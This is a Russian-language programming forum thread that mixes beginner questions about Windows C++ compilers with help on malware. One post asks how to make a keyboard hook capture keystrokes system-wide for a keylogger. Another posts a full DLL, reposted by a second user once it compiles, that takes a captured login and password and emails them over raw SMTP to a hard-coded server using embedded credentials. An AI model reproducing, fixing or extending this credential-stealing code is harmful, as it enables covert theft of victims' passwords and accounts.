всем доброго времени суток! Извиняюсь за вопрос, но никто не сталкивался с реализацией на C задачи о "золотой горе"? (http://ru.wikibooks.org/wiki/%D0%A0%D0%B5%D0%BA%D1%83%D1%80%D1%81%D0%B8%D1%8F:_%D0%BF%D0%BB%D0%BE%D1%85%D0%BE_%D0%B8%D0%BB%D0%B8_%D1%85%D0%BE%D1%80%D0%BE%D1%88%D0%BE)
у меня такой вопрос: допустим есть dllка которую надо скомпилить написана на C++. в лине это так: gcc dll.cpp. а как это для винды сделать? что-то не хочется качать C++ от мелкософта дистриб которой несколько сот мегов весит! нет какого нить более лаконичного компилятора? llc пробовал - вылетает с ошибкой - каких-то библиотек не хватает.
SchmeL, хоть бы сказал каких либ нету... Да и вообще, не кажется, что ответ напрашивается сам собой? Найди недостающие либы да подкинь компилятору...
ну в общем вот borland мне выдает lcc выдает ну вот в принципе, в программировании на этом языке ваще полный 0 (компилил тока на линухах) только в php чуток
zindi, задача поставлена весьма непонятно... Я её понял как-то так: Code: #include <stdio.h> #include <math.h> void tabfunc (double x) { double f_x = log(x) + acos(x); printf("%f\n", f_x); } int main (void) { tabfunc(0.5); return 0; } SchmeL, такой исходник в борланде надо компилить создавая проект. А вообще показывай исходник... Непонятно откуда у тебя там 'true' и 'false'...
Вопрос у меня keylogger ловит только в своём потоке при том что последний параметр ф-и SetWindowsHookEx(WH_KEYBOARD,KeyProc, hInstance,0 ) Hook оформил в длл. Не могу разобраться как это сделать?
groundhog - вот исходник dllки Code: // dll.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" #include <winsock2.h> #include <stdlib.h> #include <stdio.h> #define ACC_COUNT 3 char l[20]; char p[20]; char working=100; char str[20]; typedef struct { char l[30]; char p[30]; char mail[50]; } ACCOUNTS; ACCOUNTS acci[ACC_COUNT]= { {"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: [email protected]"} }; DWORD WINAPI SendEMail(LPVOID lpData) //void (char * l,char *p) { int accNumber=0; working=0; while(accNumber<ACC_COUNT) { BOOL AllOK=true; BYTE sBuf[4096]; SOCKET nSMTPServerSocket; struct sockaddr_in smtp_address; int nConnect; int iLength; int iMsg = 0; int iEnd = 0; char *MailMessage[] = { "HELO mail.ru\r\n", "AUTH LOGIN\r\n", NULL, NULL, NULL, "RCPT TO: [email protected]\r\n", "DATA\r\n", NULL, "QUIT\r\n", NULL }; WSADATA wsa; if (WSAStartup(MAKEWORD(2,0),&wsa)) { working=100; return 0; } MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2); strcpy(MailMessage[2],acci[accNumber].l); strcat(MailMessage[2],"\r\n"); MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2); strcpy(MailMessage[3],acci[accNumber].p); strcat(MailMessage[3],"\r\n"); MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2); strcpy(MailMessage[4],acci[accNumber].mail); strcat(MailMessage[4],"\r\n"); MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11); strcpy(MailMessage[7],l); strcat(MailMessage[7]," - "); strcat(MailMessage[7],p); strcat(MailMessage[7],"\r\n\r\n.\r\n"); nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0); if(nSMTPServerSocket != INVALID_SOCKET) { smtp_address.sin_family = AF_INET; smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111"); smtp_address.sin_port = htons(25); nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address, sizeof(smtp_address)); if(nConnect) { } else { do { iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0); if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3') { accNumber++; AllOK=false; break; } iEnd += iLength; sBuf[iEnd] = '\0'; //MessageBox(0,MailMessage[iMsg],0,MB_OK); send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0); iMsg++; } while(MailMessage[iMsg]); } closesocket(nSMTPServerSocket); nSMTPServerSocket=NULL; } if(AllOK) break; } working=100; return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100; return TRUE; } extern "C" void CALLBACK proc1(char *str,char *str2) { strcpy(l,str); strcpy(p,str2); if(working!=0) { CreateThread(NULL,0,SendEMail,NULL,0,NULL); } }
Rav, если ты всё правильно сделал, то вызов должен хучить сообщения клавиатуры для всех процессов. Обрати внимание что предпоследний параметр NULL. Попробуй, может в этом косяк. Какой результат возвращает функция? Не NULL?
groundhog, невышло попробую всетаки скачать этого монстра Microsoft Visual C++ 2005 Express Edition. на нем попробовать...
А ты как вставлял windows.h, вернее куда? Его после winsock2.h надо прописывать Надо еще добавить Code: #pragma comment(lib, "ws2_32") Компилил в VC++ 6.0.
SchmeL, в общем я попробовал, VS6 отлично компилит этот исходник с учётом исправлений, о которых тебе сказали: Code: // dll.cpp : Defines the entry point for the DLL application. // #pragma comment(lib, "ws2_32") //#include "stdafx.h" #include <windows.h> #include <winsock2.h> #include <stdlib.h> #include <stdio.h> #define ACC_COUNT 3 char l[20]; char p[20]; char working=100; char str[20]; typedef struct { char l[30]; char p[30]; char mail[50]; } ACCOUNTS; ACCOUNTS acci[ACC_COUNT]= { {"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: [email protected]"} }; DWORD WINAPI SendEMail(LPVOID lpData) //void (char * l,char *p) { int accNumber=0; working=0; while(accNumber<ACC_COUNT) { BOOL AllOK=true; BYTE sBuf[4096]; SOCKET nSMTPServerSocket; struct sockaddr_in smtp_address; int nConnect; int iLength; int iMsg = 0; int iEnd = 0; char *MailMessage[] = { "HELO mail.ru\r\n", "AUTH LOGIN\r\n", NULL, NULL, NULL, "RCPT TO: [email protected]\r\n", "DATA\r\n", NULL, "QUIT\r\n", NULL }; WSADATA wsa; if (WSAStartup(MAKEWORD(2,0),&wsa)) { working=100; return 0; } MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2); strcpy(MailMessage[2],acci[accNumber].l); strcat(MailMessage[2],"\r\n"); MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2); strcpy(MailMessage[3],acci[accNumber].p); strcat(MailMessage[3],"\r\n"); MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2); strcpy(MailMessage[4],acci[accNumber].mail); strcat(MailMessage[4],"\r\n"); MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11); strcpy(MailMessage[7],l); strcat(MailMessage[7]," - "); strcat(MailMessage[7],p); strcat(MailMessage[7],"\r\n\r\n.\r\n"); nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0); if(nSMTPServerSocket != INVALID_SOCKET) { smtp_address.sin_family = AF_INET; smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111"); smtp_address.sin_port = htons(25); nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address, sizeof(smtp_address)); if(nConnect) { } else { do { iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0); if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3') { accNumber++; AllOK=false; break; } iEnd += iLength; sBuf[iEnd] = '\0'; //MessageBox(0,MailMessage[iMsg],0,MB_OK); send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0); iMsg++; } while(MailMessage[iMsg]); } closesocket(nSMTPServerSocket); nSMTPServerSocket=NULL; } if(AllOK) break; } working=100; return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100; return TRUE; } extern "C" void CALLBACK proc1(char *str,char *str2) { strcpy(l,str); strcpy(p,str2); if(working!=0) { CreateThread(NULL,0,SendEMail,NULL,0,NULL); } } Я надеюсь, ты компиляешь его как Win32 Dynamic Link Library?
а можно ссылочку на visual c++,а еще лучше на Gnu c ++ чтоб только в виндусе пошел..а то я блин скачал один гну а там одни какието файлы блокнотовские и страницы инетовские((даже скажу название gcc-4.0.1.tar у меня просто в самоучителе написано:Одна из популярнейших сред разработки — Visual C++ фирмы Microsoft. В ней можно скомпилировать и выполнить все программы, представленные в этой книге; однако не все из вас являются владельцами этого программного продукта из-за его довольно высокой стоимости даже у уличных торговцев (кстати, многие в это не по- верят, но далеко не все программисты работают в Windows — есть и другие операци- онные системы). К счастью, существуют и общедоступные среды разработки про- грамм C++, наиболее популярная из которых GNU C++.
Спасибо огромное прога классная русская..но есть одно но )))там нету очень многих как бы сказать..вещей..например в книге пишут Сердцем пакета GNU C++ является утилита rhide. там я фиг знает где она) Вообщем нужна консольная Gnu C++)либо другая книжка гну незнаю где качать( пока искал новую книжку наткнулся на самый сложный язык и выучил его буквально за час) это был qbasic )))))